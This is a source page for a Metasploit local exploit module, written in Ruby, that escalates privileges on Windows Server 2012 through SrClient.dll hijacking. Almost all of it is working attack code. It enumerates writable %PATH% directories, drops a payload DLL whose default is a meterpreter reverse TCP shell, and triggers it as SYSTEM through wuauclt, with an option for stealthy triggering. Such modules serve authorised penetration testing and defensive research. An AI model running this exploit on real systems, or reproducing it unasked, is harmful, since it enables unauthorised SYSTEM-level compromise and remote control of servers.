rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/local/srclient_dll_hijacking.rb

Summary

Maintainability
F
3 days
Test Coverage
class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Server 2012 SrClient DLL hijacking',
        'Description' => %q{
          All editions of Windows Server 2012 (but not 2012 R2) are vulnerable to DLL
          hijacking due to the way TiWorker.exe will try to call the non-existent
          `SrClient.dll` file when Windows Update checks for updates. This issue can be
          leveraged for privilege escalation if %PATH% includes directories that are
          writable by low-privileged users. The attack can be triggered by any
          low-privileged user and does not require a system reboot.

          This module has been successfully tested on Windows Server 2012 (x64).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Erik Wynter' # @wyntererik - Discovery & Metasploit
        ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'DefaultOptions' => {
          'Wfsdelay' => 60,
          'EXITFUNC' => 'thread'
        },
        'Targets' => [
          [
            'Windows Server 2012 (x64)', {
              'Arch' => [ARCH_X64],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'References' => [
          [ 'URL', 'https://blog.vonahi.io/srclient-dll-hijacking' ],
        ],
        'DisclosureDate' => '2021-02-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ],
          'Reliability' => [ UNRELIABLE_SESSION ]
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getuid
              stdapi_sys_process_get_processes
            ]
          }
        }
      )
      )

    register_options([
      OptString.new('WRITABLE_PATH_DIR', [false, 'Path to a writable %PATH% directory to write the payload to.', '']),
      OptBool.new('STEALTH_ONLY', [false, 'Only exploit if the payload can be triggered without launching the Windows Update UI) ', false]),
      OptInt.new('WAIT_FOR_TIWORKER', [false, 'No. of minutes to wait for TiWorker.exe to finish running if it is already active. ', 0])
    ])
  end

  def provided_path_dir
    datastore['WRITABLE_PATH_DIR']
  end

  def stealth_only
    datastore['STEALTH_ONLY']
  end

  def wait_for_tiworker
    datastore['WAIT_FOR_TIWORKER']
  end

  def force_exploit_message
    " If #{provided_path_dir} should be writable and part of %PATH%, enter `set ForceExploit true` and rerun the module."
  end

  def grab_user_groups(current_user)
    print_status("Obtaining group information for the current user #{current_user}...")

    # add current user to the groups we are a member of in case user-specific permissions are set for any of the %PATH% directories
    user_groups = [current_user]

    whoami_groups = get_whoami

    unless whoami_groups.blank?
      print_status('')
      whoami_groups.split("\r\n").each do |line|
        exclude_strings = ['----', '====', 'GROUP INFORMATION', 'Group Name', 'Mandatory Label']
        line = line.strip
        next if line.empty?
        next if exclude_strings.any? { |ex_str| line.include?(ex_str) }

        group = line.split('   ')[0]
        user_groups << group
        print_status("\t#{group}")
      end

      print_status('')
    end
    user_groups
  end

  def find_pdir_owner(pdir, current_user)
    # we need double backslashes in the path for wmic, using block gsub because regular gsub doesn't seem to work
    pdir_escaped = pdir.gsub(/\\/) { '\\\\' }
    pdir_owner_info = cmd_exec("wmic path Win32_LogicalFileSecuritySetting where Path=\"#{pdir_escaped}\" ASSOC /RESULTROLE:Owner /ASSOCCLASS:Win32_LogicalFileOwner /RESULTCLASS:Win32_SID")
    if pdir_owner_info.blank? || pdir_owner_info.split('{')[0].blank?
      return false
    end

    pdir_owner_suffix = pdir_owner_info.split('{')[0]
    pdir_owner_prefix = pdir_owner_info.scan(/\}\s+(.*?)S-\d-\d+-(\d+-){1,14}\d/).flatten.first

    if pdir_owner_prefix.blank? || pdir_owner_suffix.blank?
      return false
    end

    pdir_owner_name = "#{pdir_owner_prefix.strip}\\#{pdir_owner_suffix.strip}"
    if pdir_owner_name.downcase == current_user.downcase
      return true
    else
      return false
    end
  end

  def enumerate_writable_path_dirs(path_dirs, user_groups, current_user)
    writable_path_dirs = []
    perms_we_need = ['(F)', '(M)']
    print_status('')

    path_dirs.split(';').each do |pdir|
      next if pdir.blank? || pdir.strip.blank?

      # directories can't and with a backslash, otherwise some commands will throw an error
      pdir = pdir.strip.delete_suffix('\\')

      # if the user has provided a target dir, only look at that one
      if !provided_path_dir.blank? && pdir.downcase != provided_path_dir.downcase
        next
      end

      print_status("\tChecking permissions for #{pdir}")

      # check if the current user owns pdir
      user_owns_pdir = find_pdir_owner(pdir, current_user)

      # use icalcs to get the directory permissions
      permissions = cmd_exec("icacls \"#{pdir}\"")
      next if permissions.blank?
      next if permissions.split(pdir.to_s)[1] && permissions.split(pdir.to_s)[1].length < 2

      # the output should always start with the provided directory, so we need to remove that
      groups_perms = permissions.split(pdir.to_s)[1].strip
      next if groups_perms.empty?

      # iterate over the listed permissions for different groups
      groups_perms.split("\n").each do |gp|
        gp = gp.strip

        # the format should be <group>:<perms>, so gp must always include `:`
        next unless gp.include?(':')

        # grab the group name and permissions
        group, perms = gp.split(':')
        next if group.blank? || perms.blank?

        group = group.strip
        perms = perms.strip

        # if the current user owns the directory, check for the directory permissions as well
        if user_owns_pdir && group == 'CREATOR OWNER' && perms_we_need.any? { |prm| perms.downcase.include? prm.downcase }
          writable_path_dirs << pdir unless writable_path_dirs.include?(pdir)
          next
        end

        # ignore groups that don't match the groups for the current user, or the required permissions
        next unless user_groups.any? { |ug| group.downcase == ug.downcase }
        next unless perms_we_need.any? { |prm| perms.downcase.include? prm.downcase }

        # if we are here, we found a %PATH% directory we can write to!!!
        writable_path_dirs << pdir unless writable_path_dirs.include?(pdir)
      end
    end

    print_status('')

    writable_path_dirs
  end

  def exploitation_message(trigger_cmd)
    if trigger_cmd == 'wuauclt /detectnow'
      print_status("Trying to trigger the payload in the background via the shell command `#{trigger_cmd}`")
    else
      print_status("Trying to trigger the payload via the shell command `#{trigger_cmd}`")
    end
  end

  def monitor_tiworker
    print_warning("TiWorker.exe is already running on the target. The module will monitor the process every 10 seconds for up to #{wait_for_tiworker} minute(s)...")
    wait_time_left = wait_for_tiworker
    sleep_time = 0
    while wait_time_left > 0
      sleep 10

      host_processes = client.sys.process.get_processes
      if host_processes.none? { |ps| ps['name'] == 'TiWorker.exe' }
        print_status('TiWorker.exe is no longer running on the target. Proceding with exploitation.')
        break
      end

      sleep_time += 10
      next unless sleep_time == 60

      wait_time_left -= 1
      sleep_time = 0
      print_status("TiWorker.exe is still running on the target. The module will keep checking for #{wait_time_left} minute(s)...")
    end
  end

  def check
    version = get_version_info
    unless version.build_number == Msf::WindowsVersion::Server2012 && version.windows_server?
      return Exploit::CheckCode::Safe('Target is not Windows Server 2012.')
    end

    print_status("Target is #{version.product_name}")

    # obtain the Windows Update setting to see if exploitation could work at all
    @wupdate_setting = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update', 'AUOptions')

    if @wupdate_setting.nil?
      # if this is true, Windows Update has probably never been configured on the target, and the attack most likely won't work.
      return Exploit::CheckCode::Safe('Target is Windows Server 2012, but cannot be exploited because Windows Update has not been configured.')
    end

    unless (1..4).include?(@wupdate_setting)
      return Exploit::CheckCode::Unknown('Received unexpected reply when trying to obtain the Windows Update setting.')
    end

    # get groups for the current user, this is necessary to verify write permissions
    current_user = session.sys.config.getuid
    user_groups = grab_user_groups(current_user)

    # get %PATH% dirs and check if the current user can write to them
    print_status('Checking for writable directories in %PATH%...')
    # we can't use get_envs('PATH') here because that returns all PATH directories, but we only need those in the SYSTEM PATH
    path_dirs = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment', 'path')

    if path_dirs.blank?
      get_path_fail_message = 'Failed to obtain %PATH% directories.'
      unless provided_path_dir.blank?
        get_path_fail_message << force_exploit_message
      end
      return Exploit::CheckCode::Unknown(get_path_fail_message)
    end

    @writable_path_dirs = enumerate_writable_path_dirs(path_dirs, user_groups, current_user)

    writable_path_dirs_fail_message = "#{current_user} does not seem to have write permissions to any of the %PATH% directories"

    if @writable_path_dirs.empty?
      unless provided_path_dir.blank?
        writable_path_dirs_fail_message << force_exploit_message
      end
      return Exploit::CheckCode::Safe(writable_path_dirs_fail_message)
    end

    if provided_path_dir.blank?
      print_good("#{current_user} has write permissions to the following %PATH% directories:")
      print_status('')
      @writable_path_dirs.each { |wpd| print_status("\t#{wpd}") }
      print_status('')
    else
      print_good("#{current_user} has write permissions to #{provided_path_dir}")
    end

    return Exploit::CheckCode::Appears
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    payload_arch = payload.arch.first
    if (payload_arch != ARCH_X64)
      fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch}). Only 64-bit (x64) payloads are supported.") # Unsupported architecture, so return an error.
    end

    # check if TiWorker.exe is already running, in which case exploitation will fail
    host_processes = client.sys.process.get_processes
    if host_processes.any? { |ps| ps['name'] == 'TiWorker.exe' }
      unless wait_for_tiworker > 0
        fail_with(Failure::Unknown, 'TiWorker.exe is already running on the target. Set `WAIT_FOR_TIWORKER` to force the module to wait for the process to finish.')
      end

      monitor_tiworker
    end

    # There are three commands we can run to get the target to start checking for Windows updates, which should launch TiWorker.exe and trigger the payload as SYSTEM
    ## 'wuauclt /detectnow': This triggers the payload in the background, but won't work when Windows Update is set to never check for updates.
    ## 'wuauclt /selfupdatemanaged': This triggers the payload by launching the Windows Update UI, which then scans for updates using the WSUS settings. This is not stealthy, but works with all Windows Update settings.
    ## 'wuauclt /selfupdateunmanaged': This triggers the payload by launching the Windows Update UI, which then scans for updates using the Windows Update site. This is not stealthy, but works with all Windows Update settings.
    ## the module prefers /selfupdatemanaged over /selfupdateunmanaged when /detectnow is not possible because /selfupdateunmanaged may require the target to be able to reach the Windows Update server

    case @wupdate_setting
    when 1
      print_warning('Because Windows Update is set to never check for updates, triggering the payload requires launching the Windows Update window on the target.')
      if stealth_only
        fail_with(Failure::Unknown, 'Exploitation cannot proceed stealthily. If you still want to exploit, set `STEALTH_ONLY` to false.')
        return
      end
      trigger_cmd = 'wuauclt /selfupdatemanaged'
    when 2..4
      # trigger the payload in the background if we can
      trigger_cmd = 'wuauclt /detectnow'
    else
      # if this is true, ForceExploit has been set and we should just roll with it
      print_warning('Windows Update is not configured or returned an unexpected value. Exploitation may not work.')
      if stealth_only
        trigger_cmd = 'wuauclt /detectnow'
      else
        # go out guns blazing and hope for the best
        print_status('The module will launch the Windows Update window on the target in an attempt to trigger the payload.')
        trigger_cmd = 'wuauclt /selfupdatemanaged'
      end
    end

    # select a target directory to write the payload to
    if @writable_path_dirs.empty? # this means ForceExploit is being used
      if provided_path_dir.blank?
        fail_with(Failure::BadConfig, 'Using ForceExploit requires `WRITABLE_PATH_DIR` to be set.')
      end

      dll_path = provided_path_dir
    else
      dll_path = @writable_path_dirs[0]
    end

    # generate and write payload
    dll_path << '\\' unless dll_path.end_with?('\\')
    @dll_file_path = "#{dll_path}SrClient.dll"
    dll = generate_payload_dll

    print_status("Writing #{dll.length} bytes to #{@dll_file_path}...")
    begin
      # write_file(@dll_file_path, dll)
      write_file(@dll_file_path, dll)
      register_file_for_cleanup(@dll_file_path)
    rescue Rex::Post::Meterpreter::RequestError => e
      # Can't write the file, can't go on
      fail_with(Failure::Unknown, e.message)
    end

    # trigger the payload
    exploitation_message(trigger_cmd)
    cmd_exec(trigger_cmd)
  end
end